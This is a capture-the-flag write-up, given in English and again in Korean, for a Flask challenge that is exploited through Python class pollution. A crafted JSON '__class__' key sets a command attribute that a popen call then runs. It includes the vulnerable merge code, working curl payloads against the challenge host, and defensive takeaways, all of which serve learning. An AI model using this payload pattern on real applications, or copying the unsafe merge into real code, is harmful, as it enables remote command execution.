The Setup

A Flask “school members” app with a class hierarchy and a JSON-driven merge:

class Student:
    def __init__(self, name):
        self.name = name
        self.role = "student"

class Teacher(Student): ...
class SubstituteTeacher(Teacher): ...

class Principal(Teacher):
    def __init__(self, name):
        super().__init__(name)
        self.role = "principal"

    def command(self):
        command = self.cmd if hasattr(self, 'cmd') else 'echo Permission Denied'
        return f'{popen(command).read().strip()}'

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

principal = Principal("principal")     # the singleton /execute runs against

Two routes matter. /execute calls principal.command(), which runs popen(self.cmd) only if the instance has a cmd attribute. Otherwise it prints “Permission Denied”. /add_member builds a new object from user JSON, and for role == "principal" it feeds that JSON straight into merge:

if role == "principal":
    new_member = Principal(name)
    merge(data, new_member)          # user-controlled data merged onto an object

There is no cmd anywhere in normal flow. We have to create one.

Class Pollution: Python’s Prototype Pollution

JavaScript has prototype pollution via __proto__. Python has no prototypes, but merge’s recursion through getattr gives us the analogous primitive: attribute pollution reaching all the way up to the class object.

Trace merge(data, new_member) with the payload {"__class__": {"cmd": "cat flag.txt"}}:

  1. k = "__class__", v = {"cmd": ...}. new_member (a Principal instance) has no __getitem__, so the first branch is skipped. It does have __class__ and v is a dict, so we recurse: merge({"cmd": ...}, getattr(new_member, "__class__")), i.e. we descend into the Principal class itself.
  2. k = "cmd", v = "cat flag.txt". The Principal class has no __getitem__ and no existing cmd, and v is a string, so we fall to the else: setattr(Principal, "cmd", "cat flag.txt").

The command is now a class attribute on Principal. And the long-lived principal singleton that /execute uses is a Principal, so it inherits cmd through the class. hasattr(self, 'cmd') flips to True, and command() happily runs popen("cat flag.txt").

Exploit

Plant the class attribute:

curl -v -X POST http://host3.dreamhack.games:9149/add_member \
     -H "Content-Type: application/json" \
     -d '{"name":"Foo1","role":"principal","__class__":{"cmd":"cat flag.txt"}}'

Then trigger execution:

curl http://host3.dreamhack.games:9149/execute
{"result":"DH{REDACTED}"}

Because we polluted the class and not just our throwaway instance, the flag comes back through the server’s own principal object.

Takeaways

Any recursive merge/setattr that trusts attacker-controlled keys is a class-pollution sink. The dangerous keys aren’t just __proto__ habits carried over from JS. In Python it’s __class__, __init__, __globals__, __base__, and friends, each of which lets a merge climb out of the instance and mutate shared state seen by other objects. Reject dunder keys before merging, or build objects field-by-field from an explicit allowlist instead of blindly setattr-ing user input.


구성

클래스 계층 구조와 JSON 기반 merge를 가진 Flask “학교 구성원” 앱입니다.

class Student:
    def __init__(self, name):
        self.name = name
        self.role = "student"

class Teacher(Student): ...
class SubstituteTeacher(Teacher): ...

class Principal(Teacher):
    def __init__(self, name):
        super().__init__(name)
        self.role = "principal"

    def command(self):
        command = self.cmd if hasattr(self, 'cmd') else 'echo Permission Denied'
        return f'{popen(command).read().strip()}'

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

principal = Principal("principal")     # /execute가 실행하는 싱글턴

핵심 라우트는 둘입니다. /execute는 principal.command()를 호출하는데, 인스턴스에 cmd 속성이 있을 때만 popen(self.cmd)를 실행하고, 없으면 “Permission Denied”를 출력합니다. /add_member는 사용자 JSON으로 새 객체를 만드는데, role == "principal"이면 그 JSON을 그대로 merge에 흘려보냅니다.

if role == "principal":
    new_member = Principal(name)
    merge(data, new_member)          # 사용자 제어 data가 객체에 병합됨

정상 흐름 어디에도 cmd는 없습니다. 우리가 만들어내야 합니다.

클래스 오염: 파이썬판 프로토타입 오염

JavaScript에는 __proto__를 통한 프로토타입 오염이 있습니다. Python에는 프로토타입이 없지만, merge가 getattr로 재귀하는 덕분에 유사한 프리미티브를 얻습니다. 바로 클래스 객체까지 거슬러 올라가는 속성 오염입니다.

merge(data, new_member)를 페이로드 {"__class__": {"cmd": "cat flag.txt"}}로 추적해 봅시다.

  1. k = "__class__", v = {"cmd": ...}. new_member(Principal 인스턴스)에는 __getitem__이 없으니 첫 분기는 건너뜁니다. 하지만 __class__는 있고 v가 dict이므로 재귀합니다: merge({"cmd": ...}, getattr(new_member, "__class__")), 즉 Principal 클래스 자체로 내려갑니다.
  2. k = "cmd", v = "cat flag.txt". Principal 클래스에는 __getitem__도 기존 cmd도 없고 v는 문자열이라 else로 떨어집니다: setattr(Principal, "cmd", "cat flag.txt").

이제 명령은 Principal의 클래스 속성입니다. 그리고 /execute가 쓰는 오래 살아있는 principal 싱글턴도 Principal이므로 클래스를 통해 cmd를 상속합니다. hasattr(self, 'cmd')가 True로 바뀌고, command()는 기꺼이 popen("cat flag.txt")를 실행합니다.

익스플로잇

클래스 속성 심기:

curl -v -X POST http://host3.dreamhack.games:9149/add_member \
     -H "Content-Type: application/json" \
     -d '{"name":"Foo1","role":"principal","__class__":{"cmd":"cat flag.txt"}}'

실행 트리거:

curl http://host3.dreamhack.games:9149/execute
{"result":"DH{REDACTED}"}

버리는 인스턴스가 아니라 클래스를 오염시켰기에, 플래그는 서버 자신의 principal 객체를 통해 돌아옵니다.

정리

공격자가 제어하는 키를 신뢰하는 재귀적 merge/setattr는 전부 클래스 오염 싱크입니다. 위험한 키는 JS에서 넘어온 __proto__ 습관만이 아닙니다. Python에서는 __class__, __init__, __globals__, __base__ 같은 것들이며, 각각은 merge가 인스턴스를 빠져나와 다른 객체가 보는 공유 상태를 변조하게 해줍니다. 병합 전에 던더(dunder) 키를 거부하거나, 사용자 입력을 맹목적으로 setattr 하는 대신 명시적 허용목록으로 필드 하나씩 객체를 만드세요.